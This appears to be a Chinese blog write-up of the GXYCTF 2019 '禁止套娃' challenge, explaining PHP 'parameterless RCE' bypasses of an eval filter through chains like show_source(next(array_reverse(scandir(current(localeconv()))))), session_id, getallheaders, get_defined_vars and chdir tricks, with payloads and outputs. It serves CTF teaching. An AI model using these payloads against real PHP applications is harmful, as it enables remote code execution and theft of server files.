关于无参数RCE的一些奇技淫巧

简述:

​ 首先说一下什么是无参数RCE,对于很多时候,我们通常遇到PHP中存在eval函数的时候,一般是通过构造:

system("cat /flag");

​ 的payload来实行攻击的,大不了就出现了一些waf需要绕过。但是,有的时候,他们相关的waf特别奇葩,像是过滤了所有的字母以及数字什么的,另外,就是这篇博客最主要说明的题目,就是无参数RCE:

​ 像是下面的这一个正则:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    
    eval($_GET['star']);
}

​ 经过了它的过滤之后,最后只有a(b(c())); 这样的payload才不会被过滤了。

正则表达式 [^\W]+((?R)?) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。

相关函数讲解:

  • scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
  • localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
  • current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
  • getcwd() :取得当前工作目录
  • dirname():函数返回路径中的目录部分
  • array_flip() :交换数组中的键和值,成功时返回交换后的数组
  • array_rand() :从数组中随机取出一个或多个单元
  • array_reverse():将数组内容反转
  • strrev():用于反转给定字符串
  • getcwd():获取当前工作目录路径
  • dirname() :函数返回路径中的目录部分。
  • chdir() :函数改变当前的目录。
  • eval()、assert():命令执行
  • hightlight_file()、show_source()、readfile():读取文件内容

​ 数组移动操作:

  • end() : 将内部指针指向数组中的最后一个元素,并输出
  • next() :将内部指针指向数组中的下一个元素,并输出
  • prev() :将内部指针指向数组中的上一个元素,并输出
  • reset() : 将内部指针指向数组中的第一个元素,并输出
  • each() : 返回当前元素的键名和键值,并将内部指针向前移动

题目示例:[GXYCTF 2019]禁止套娃

​ 先说题目,首先是一个信息搜集,不过这个信息搜集通过多次尝试或者扫后台发现了.git/文件夹,猜测是git泄露,直接Githack下源码,得到index.php的内容:

D:\c\python tools\GitHack>python GitHack.py http://node4.anna.nssctf.cn:28131/.git
[+] Download and parse index file ...
[+] flag.php
[+] index.php
[OK] flag.php
[OK] index.php

​ 之后得到Index.php源码如下:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

​ 这里只需要关心第二层绕过,主要考点应该是这一层,也就是无参数RCE。

1.常规方法:

​ 通常情况下, 我们想要读取该目录的文件内容,那么,常规的方法就是如下,不过,先给一个payload:

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

​ 首先,通过通过localeconv() 来 ,返回一包含本地数字及货币格式信息的数组,又因为数组的第一项是 '.,因此可以通过current() (返回数组中的单元,默认取第一个值)来获取数组中的第一个参数也就是那一个点:

//payload  			?exp=var_dump(localeconv());

//output:
array(18) { ["decimal_point"]=> string(1) "." ["thousands_sep"]=> string(0) "" ["int_curr_symbol"]=> string(0) "" ["currency_symbol"]=> string(0) "" ["mon_decimal_point"]=> string(0) "" ["mon_thousands_sep"]=> string(0) "" ["positive_sign"]=> string(0) "" ["negative_sign"]=> string(0) "" ["int_frac_digits"]=> int(127) ["frac_digits"]=> int(127) ["p_cs_precedes"]=> int(127) ["p_sep_by_space"]=> int(127) ["n_cs_precedes"]=> int(127) ["n_sep_by_space"]=> int(127) ["p_sign_posn"]=> int(127) ["n_sign_posn"]=> int(127) ["grouping"]=> array(0) { } ["mon_grouping"]=> array(0) { } }
//payload = 		?exp=var_dump(current(localeconv()));

//output  
string(1) "."

​ 之后,通过scandir() 返回当前目录中的所有文件和目录的列表:

//paylaod			?exp=var_dump(scandir(current(localeconv())));

//output:
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }

​ 刚好,这个题目稍微凑巧了,flag文件刚好在倒数第二个文件中,因此可以使用array_reverse()来反转这个数组:

//paylaod			?exp=var_dump(array_reverse(scandir(current(localeconv()))));

//output:
array(5) { [0]=> string(9) "index.php" [1]=> string(8) "flag.php" [2]=> string(4) ".git" [3]=> string(2) ".." [4]=> string(1) "." }

​ 之后,通过next()来操作指针,指向flag文件:

//paylaod			?exp=var_dump(next(array_reverse(scandir(current(localeconv())))));

//output:
string(8) "flag.php"

​ 之后就可以通过highlight_file()来读取flag文件的内容了

//paylaod			?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

//output:
<?php
$flag = 'NSSCTF{fe7192e9-edcb-4217-9bcf-220940f8c20d}';

2.session_id()

​ 使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)

​ 首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现
​ 在burp中,构造一个payload为:

?exp=readfile(session_id(session_start()));

​ 随后,将Cookie 改为:

PHPSESSID=flag.php 

​ 最后成功读取到了flag 文件

3.getallheaders()

​ getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)

​ 当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:

?exp=var_dump(end(getallheaders()));

​ 不过,这个题目我用这个方法的时候失败了,因为第三层绕过过滤了et,然后get单词存在被过滤单词,无法绕过,所以用一下别人的图片:

在这里插入图片描述

4.get_defined_vars()

​ 相较于getallheaders()更加具有普遍性,它可以回显全局变量 G E T 、 _GET、 GET_POST、 F I L E S 、 _FILES、 FILES_COOKIE,

返回数组顺序为 G E T − − > _GET--> GET>_POST–> C O O K I E − − > _COOKIE--> COOKIE>_FILES

​ 由于题目中过滤了

​ 首先确认是否有回显:

print_r(get_defined_vars());

​ 假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:

a=eval(end(current(get_defined_vars())));&b=system('ls /');

​ 把eval换成assert也行 ,能执行system(‘ls /’)就行

5.chdir()

​ 实在无法rce,可以考虑目录遍历进行文件读取,不过这里由于题目的过滤有点恶心人,所以只好记录一下方法了,有了机会再进行实践。

​ 利用getcwd()获取当前目录:

var_dump(getcwd());

​ 结合dirname()列出当前工作目录的父目录中的所有文件和目录:.

var_dump(scandir(dirname(getcwd())));

​ 读上一级文件名:

?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));

?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

​ 读根目录:

​ ord() 函数和 chr() 函数:只能对第一个字符进行转码,ord() 编码,chr)解码,有概率会解码出斜杠读取根目录

?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

​ 要用chdir()固定,payload:

?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));

6.array_rand()#赌狗必备法:

​ 首先,在这里吐槽一句,赌狗不值得同情[doge]

​ 可以通过array_rand()函数随机获取数组中的键,因此,需要提前将数组键值对翻转以下,让后再使用如下payload进行赌。

?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

​ 因为这种很考验运气,因此,当目录中文件过多的情况下只有赌一把运气,可能一两下就出了,可能要花很长时间,因此,还是那句话,赌狗不值得同情[doge]。

参考资料:

​ 可以通过array_rand()函数随机获取数组中的键,因此,需要提前将数组键值对翻转以下,让后再使用如下payload进行赌。

?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

​ 因为这种很考验运气,因此,当目录中文件过多的情况下只有赌一把运气,可能一两下就出了,可能要花很长时间,因此,还是那句话,赌狗不值得同情[doge]。

参考资料:

https://blog.csdn.net/2301_76690905/article/details/133808536?ops_request_misc=&request_id=&biz_id=102&utm_term=%E6%97%A0%E5%8F%82%E6%95%B0RCE&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-3-133808536.142v100pc_search_result_base3&spm=1018.2226.3001.4187

  • 16
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值